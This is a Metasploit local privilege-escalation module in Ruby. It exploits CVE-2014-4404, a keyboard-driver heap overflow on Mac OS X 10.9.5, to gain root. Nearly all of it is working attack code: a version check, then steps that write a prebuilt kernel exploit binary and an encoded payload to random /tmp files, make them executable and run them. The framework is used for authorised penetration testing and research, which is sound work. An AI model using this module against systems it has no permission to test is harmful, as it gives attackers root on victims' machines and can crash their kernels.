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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ManualRanking # Can cause kernel crash
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  include Msf::Post::File
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  include Msf::Post::OSX::Priv
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'          => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation',
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      'Description'   => %q{
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        A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory
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        corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel
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        pointers can also be leaked, allowing a full kASLR bypass.
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        Tested on Mavericks 10.9.5, and should work on previous versions.
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        The issue was patched silently in Yosemite.
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      },
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      'License'       => MSF_LICENSE,
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      'Author'        =>
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        [
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          'Ian Beer', # discovery, advisory, publication, and a most excellent blog post
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          'joev' # copy/paste monkey
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        ],
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      'References'    =>
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        [
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          [ 'CVE', '2014-4404' ],
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          [ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ],
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          # Heap overflow:
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          [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ],
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          # kALSR defeat:
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          [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ]
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        ],
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      'Platform'      => 'osx',
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      'Arch'          => ARCH_X64,
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      'SessionTypes'  => [ 'shell', 'meterpreter' ],
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      'Targets'       => [
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        [ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', { } ]
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      ],
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      'DefaultTarget' => 0,
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      'DisclosureDate' => '2014-09-24'
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    ))
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  end
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  def check
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    if ver_lt(osx_ver, "10.10")
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      CheckCode::Appears
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    else
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      CheckCode::Safe
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    end
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  end
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  def exploit
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    if is_root?
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      fail_with Failure::BadConfig, 'Session already has root privileges'
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    end
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    if check != CheckCode::Appears
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      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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    end
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    exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404')
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    binary_exploit = File.read(File.join(exploit_path, 'key_exploit'))
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    binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
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    exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
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    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
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    print_status("Writing exploit file as '#{exploit_file}'")
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    write_file(exploit_file, binary_exploit)
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    register_file_for_cleanup(exploit_file)
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    print_status("Writing payload file as '#{payload_file}'")
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    write_file(payload_file, binary_payload)
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    register_file_for_cleanup(payload_file)
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    print_status("Executing payload...")
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    cmd_exec("chmod +x #{exploit_file}")
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    cmd_exec("chmod +x #{payload_file}")
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    cmd_exec("#{exploit_file} #{payload_file}")
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  end
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  def osx_ver
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    cmd_exec("sw_vers -productVersion").to_s.strip
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  end
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  def ver_lt(a, b)
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    Rex::Version.new(a) < Rex::Version.new(b)
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  end
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end
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